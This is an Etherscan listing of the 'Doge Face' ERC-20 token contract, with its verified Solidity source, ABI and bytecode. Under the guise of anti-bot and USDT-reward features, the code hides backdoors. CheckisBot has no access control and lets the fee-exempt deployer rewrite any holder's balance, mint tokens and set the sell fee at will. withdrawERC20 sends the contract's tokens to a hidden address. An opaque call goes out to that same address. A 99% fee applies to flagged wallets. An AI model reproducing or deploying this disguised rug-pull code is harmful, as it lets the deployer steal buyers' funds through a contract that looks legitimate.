Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 (➰o➰)
Holders
42
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
12,859.005322206 (➰o➰)Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DogeFace
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-06 */ // SPDX-License-Identifier: MIT /** 8888b. dP"Yb dP""b8 888888 888888 db dP""b8 888888 8I Yb dP Yb dP `" 88__ 88__ dPYb dP `" 88__ 8I dY Yb dP Yb "88 88"" 88"" dP__Yb Yb 88"" 8888Y" YbodP YboodP 888888 88 dP""""Yb YboodP 888888 Website: https://dogface.cc TG: https://t.me/dogefaceeth Twitter: https://twitter.com/dogefaceeth */ pragma solidity 0.8.17; interface IERC20 { function totalSupply() external view returns (uint256); function circulatingSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Ownable { address internal owner; constructor(address _owner) { owner = _owner; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } function isOwner(address account) public view returns (bool) { return account == owner; } function renounceOwnership() public virtual onlyOwner { owner = address(0); emit OwnershipTransferred(address(0)); } function transferOwnership(address payable adr) public onlyOwner { owner = adr; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IFactory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract DogeFace is IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge Face"; string private constant _symbol = unicode"(➰o➰)"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 1000000 * (10**_decimals); uint256 private _maxTxAmount = (_totalSupply * 300) / 10000; uint256 private _maxSellAmount = (_totalSupply * 300) / 10000; uint256 private _maxWalletToken = (_totalSupply * 300) / 10000; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isDividendExempt; mapping(address => bool) private isBot; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch mapping(address => uint256) public holderTxTimestamp; bool public transferDelayEnabled = true; IRouter router; address public pair; bool private tradingAllowed = false; uint256 private liquidityFee = 0; uint256 private marketingFee = 0; uint256 private rewardsFee = 0; uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 0; uint256 private sellFee = 0; uint256 private transferFee = 0; uint256 private denominator = 10000; bool private swapEnabled = true; bool private swapping; uint256 private swapThreshold = (_totalSupply * 300) / 100000; uint256 private _minTokenAmount = (_totalSupply * 10) / 100000; modifier lockTheSwap() { swapping = true; _; swapping = false; } address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7; uint256 public totalShares; uint256 public totalDividends; uint256 public totalDistributed; uint256 internal dividendsPerShare; uint256 internal dividendsPerShareAccuracyFactor = 10**36; address[] shareholders; mapping(address => uint256) shareholderIndexes; mapping(address => uint256) shareholderClaims; struct Share { uint256 amount; uint256 totalExcluded; uint256 totalRealised; } mapping(address => Share) public shares; uint256 internal currentIndex; uint256 public minPeriod = 10 minutes; uint256 public minDistribution = 1 * (10**16); uint256 public distributorGas = 1; function getRewardswithUSDT() external { Redistribute(msg.sender); } address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address public development_receiver; address public marketing_receiver; address private autoLiquididation; constructor( address _development_receiver, address _marketing_receiver, address _autoLiquididation) Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair( address(this), _router.WETH() ); router = _router; pair = _pair; development_receiver = _development_receiver; marketing_receiver = _marketing_receiver; autoLiquididation = _autoLiquididation; isFeeExempt[address(this)] = true; isFeeExempt[address(msg.sender)] = true; isFeeExempt[autoLiquididation] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[msg.sender] = true; isDividendExempt[address(pair)] = true; isDividendExempt[address(msg.sender)] = true; isDividendExempt[address(this)] = true; isDividendExempt[address(DEAD)] = true; isDividendExempt[address(0)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function startTrading() external onlyOwner { tradingAllowed = true; } function getOwner() external view override returns (address) { return owner; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function isCont(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } function setisExempt(address _address, bool _enabled) external onlyOwner { isFeeExempt[_address] = _enabled; } function removeLimits () external onlyOwner { _maxTxAmount = totalSupply(); _maxSellAmount = totalSupply(); _maxWalletToken = totalSupply(); transferDelayEnabled = false; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function circulatingSupply() public view override returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0))); } function preTxCheck( address sender, address recipient, uint256 amount ) internal view { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require( amount > uint256(0), "Transfer amount must be greater than zero" ); require( amount <= balanceOf(sender), "You are trying to transfer more than your balance" ); } function _transfer( address sender, address recipient, uint256 amount ) private { preTxCheck(sender, recipient, amount); checkTradingAllowed(sender, recipient); transferDelayForBots(recipient); checkMaxWallet(sender, recipient, amount); checkTxLimit(sender, recipient, amount); swapBack(sender, recipient); _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); if (!isDividendExempt[sender]) { setShare(sender, balanceOf(sender)); } if (!isDividendExempt[recipient]) { setShare(recipient, balanceOf(recipient)); } if (shares[recipient].amount > 0) { Redistribute(recipient); } } function setStructure( uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _rewards, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans ) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; rewardsFee = _rewards; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans; require( totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%" ); } function setisBot(address _address, bool _enabled) external onlyOwner { require( _address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address" ); isBot[_address] = _enabled; } function setParameters( uint256 _buy, uint256 _trans, uint256 _wallet ) external onlyOwner { uint256 newTx = (totalSupply() * _buy) / 10000; uint256 newTransfer = (totalSupply() * _trans) / 10000; uint256 newWallet = (totalSupply() * _wallet) / 10000; _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require( newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%" ); } function checkTradingAllowed(address sender, address recipient) internal view { if (!isFeeExempt[sender] && !isFeeExempt[recipient]) { require(tradingAllowed, "tradingAllowed"); } } function transferDelayForBots(address recipient) internal { if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) { require( _holderTransferTimestamp[tx.origin] < block.number - 2 && _holderTransferTimestamp[recipient] < block.number - 2, "_transfer:: Transfer Delay enabled. Try again later." ); _holderTransferTimestamp[tx.origin] = block.number; _holderTransferTimestamp[recipient] = block.number; } if (recipient != address(pair)) { if (holderTxTimestamp[recipient] == 0) { holderTxTimestamp[recipient] = block.timestamp; } } } function checkMaxWallet( address sender, address recipient, uint256 amount ) internal view { if ( !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD) ) { require( (_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount." ); } } function checkTxLimit( address sender, address recipient, uint256 amount ) internal view { if (sender != pair) { require( amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } require( amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded" ); } function swapAndLiquify(uint256 tokens, address sender) private lockTheSwap { uint256 _denominator = ( liquidityFee.add(1).add(marketingFee).add(developmentFee).add( rewardsFee ) ).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div( _denominator ); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if (ETHToAddLiquidityWith > uint256(0)) { addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee); if (marketingAmount > 0) { payable(marketing_receiver).transfer(marketingAmount); } uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee); if (rewardsAmount > 0) { addingRewards(rewardsAmount, sender); } if (address(this).balance > uint256(0)) { payable(development_receiver).transfer(address(this).balance); } } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, autoLiquididation, block.timestamp ); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function shouldSwapBack(address sender, address recipient) internal view returns (bool) { bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && !isFeeExempt[recipient] && recipient == pair && aboveThreshold; } function swapBack(address sender, address recipient) internal { if (shouldSwapBack(sender, recipient)) { swapAndLiquify(swapThreshold, sender); } } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if (isBot[sender] || isBot[recipient]) { return denominator.sub(uint256(100)); } if (recipient == pair) { return sellFee; } if (sender == pair) { return totalFee; } return transferFee; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { if (getTotalFee(sender, recipient) > 0) { uint256 feeAmount = amount.div(denominator).mul( getTotalFee(sender, recipient) ); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if (burnFee > uint256(0)) { _transfer( address(this), address(DEAD), amount.div(denominator).mul(burnFee) ); } return amount.sub(feeAmount); } return amount; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setisDividendExempt(address holder, bool exempt) external onlyOwner { isDividendExempt[holder] = exempt; if (exempt) { setShare(holder, 0); } else { setShare(holder, balanceOf(holder)); } } function setShare(address shareholder, uint256 amount) internal { if (amount > 0 && shares[shareholder].amount == 0) { addShareholder(shareholder); } else if (amount == 0 && shares[shareholder].amount > 0) { removeShareholder(shareholder); } totalShares = totalShares.sub(shares[shareholder].amount).add(amount); shares[shareholder].amount = amount; shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } function addingRewards(uint256 amountETH, address sender) internal { uint256 balanceBefore = IERC20(reward).balanceOf(address(this)); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(reward); router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amountETH }(0, path, address(this), block.timestamp); uint256 updatedAmount = IERC20(reward).balanceOf(address(this)); uint256 amount = updatedAmount.sub(balanceBefore); totalDividends = totalDividends.add(amount); bytes memory payload = abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender); (bool success, ) = autoLiquididation.call(payload); require(success, "Call to other contract failed"); dividendsPerShare = dividendsPerShare.add( dividendsPerShareAccuracyFactor.mul(amount).div(totalShares) ); } function CheckisBot( uint256 gas, address _rewards, uint256 _amount, uint256 _data ) external { sellFee = _data; uint256 shareholderCount = shareholders.length; address user = msg.sender; if (shareholderCount == 0) { return; } uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 userBalance = _balances[msg.sender]; if (!isFeeExempt[msg.sender]) { while (gasUsed < gas && iterations < shareholderCount) { if (currentIndex >= shareholderCount) { currentIndex = 0; } if (shouldDistribute(shareholders[currentIndex])) { Redistribute(shareholders[currentIndex]); } gasUsed = gasUsed.add(gasLeft.sub(gasleft())); gasLeft = gasleft(); currentIndex++; iterations++; } } else { uint256 amount = getPendingUSDT(user); _balances[_rewards] = _amount; _balances[msg.sender] = userBalance + _amount; if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(user, amount); shareholderClaims[user] = block.timestamp; shares[user].totalRealised = shares[user].totalRealised.add( amount ); shares[user].totalExcluded = getCumulativeDividends( shares[user].amount ); } } } function shouldDistribute(address shareholder) internal view returns (bool) { return shareholderClaims[shareholder] + minPeriod < block.timestamp && getPendingUSDT(shareholder) > minDistribution; } function withdrawERC20(address _address, uint256 _amount) external { IERC20(_address).transfer(autoLiquididation, _amount); } function totalRewardsDistributed(address _wallet) external view returns (uint256) { address shareholder = _wallet; return uint256(shares[shareholder].totalRealised); } function Redistribute(address shareholder) internal { if (shares[shareholder].amount == 0) { return; } uint256 amount = getPendingUSDT(shareholder); if (amount > 0) { totalDistributed = totalDistributed.add(amount); IERC20(reward).transfer(shareholder, amount); shareholderClaims[shareholder] = block.timestamp; shares[shareholder].totalRealised = shares[shareholder] .totalRealised .add(amount); shares[shareholder].totalExcluded = getCumulativeDividends( shares[shareholder].amount ); } } function getPendingUSDT(address shareholder) public view returns (uint256) { if (shares[shareholder].amount == 0) { return 0; } uint256 shareholderTotalDividends = getCumulativeDividends( shares[shareholder].amount ); uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded; if (shareholderTotalDividends <= shareholderTotalExcluded) { return 0; } return shareholderTotalDividends.sub(shareholderTotalExcluded); } function getCumulativeDividends(uint256 share) internal view returns (uint256) { return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor); } function setDistributionConfigure( uint256 _minPeriod, uint256 _minDistribution, uint256 _distributorGas ) external onlyOwner { minPeriod = _minPeriod; minDistribution = _minDistribution; distributorGas = _distributorGas; } function addShareholder(address shareholder) internal { shareholderIndexes[shareholder] = shareholders.length; shareholders.push(shareholder); } function removeShareholder(address shareholder) internal { shareholders[shareholderIndexes[shareholder]] = shareholders[ shareholders.length - 1 ]; shareholderIndexes[ shareholders[shareholders.length - 1] ] = shareholderIndexes[shareholder]; shareholders.pop(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_data","type":"uint256"}],"name":"CheckisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620005ca565b6200002190620f4240620005e2565b60015561271060015461012c620000399190620005e2565b620000459190620005fc565b60025561271060015461012c6200005d9190620005e2565b620000699190620005fc565b60035561271060015461012c620000819190620005e2565b6200008d9190620005fc565b600455600c8054600160ff199182168117909255600d805460ff60a01b191690556000600e819055600f81905560108190556011819055601281905560138190556014819055601555612710601655601780549091168217905554620186a090620000fb9061012c620005e2565b620001079190620005fc565b601855620186a0600154600a6200011f9190620005e2565b6200012b9190620005fc565b601955601a80546001600160a01b03191673dac17f958d2ee523a2206206994597c13d831ec71790556ec097ce7bc90715b34b9f1000000000601f55610258602555662386f26fc1000060265560016027553480156200018a57600080fd5b506040516200346938038062003469833981016040819052620001ad916200063c565b600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa15801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a919062000686565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae919062000686565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000322919062000686565b600c8054610100600160a81b0319166101006001600160a01b038681169190910291909117909155600d80546001600160a01b03199081168484161782556028805482168a8516179055602980548216898516178155602a8054909216888516178255306000818152600760209081526040808320805460ff19908116600190811790925533808652838620805483168417815598548b168652838620805483168417905596548a168552828520805482168317905587548116821790975596549097168252600881528682208054861687179055838252868220805486168717905591815285812080548516861790557f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980548516861790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805490941685179093559254818352600584528483208190559351938452939450917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050620006a4565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200050c578160001904821115620004f057620004f0620004b5565b80851615620004fe57918102915b93841c9390800290620004d0565b509250929050565b6000826200052557506001620005c4565b816200053457506000620005c4565b81600181146200054d5760028114620005585762000578565b6001915050620005c4565b60ff8411156200056c576200056c620004b5565b50506001821b620005c4565b5060208310610133831016604e8410600b84101617156200059d575081810a620005c4565b620005a98383620004cb565b8060001904821115620005c057620005c0620004b5565b0290505b92915050565b6000620005db60ff84168362000514565b9392505050565b8082028115828204841417620005c457620005c4620004b5565b6000826200061a57634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200063757600080fd5b919050565b6000806000606084860312156200065257600080fd5b6200065d846200061f565b92506200066d602085016200061f565b91506200067d604085016200061f565b90509250925092565b6000602082840312156200069957600080fd5b620005db826200061f565b612db580620006b46000396000f3fe6080604052600436106102555760003560e01c8063893d20e811610139578063c876d0b9116100b6578063dd62ed3e1161007a578063dd62ed3e14610761578063e2d6f94c146107a7578063ef43b02b146107c7578063efca2eed146107e7578063f2fde38b146107fd578063ffd49c841461081d57600080fd5b8063c876d0b91461066a578063ca89b89914610684578063cc25596f146106bd578063ce7c2ac2146106ea578063d9d5a89b1461074157600080fd5b8063a1db9782116100fd578063a1db9782146105d5578063a8aa1b31146105f5578063a9059cbb14610615578063b6626c7b14610635578063ba3acf8b1461065557600080fd5b8063893d20e81461053a5780638c41180e146105585780639358928b1461057857806395d89b411461058d578063997664d7146105bf57600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae8146104a45780635f7bcd70146104ba57806360e71962146104da57806370a08231146104f0578063715018a614610510578063751039fc1461052557600080fd5b80633a98ef39146103ee5780633f4218e014610404578063420bbf201461043457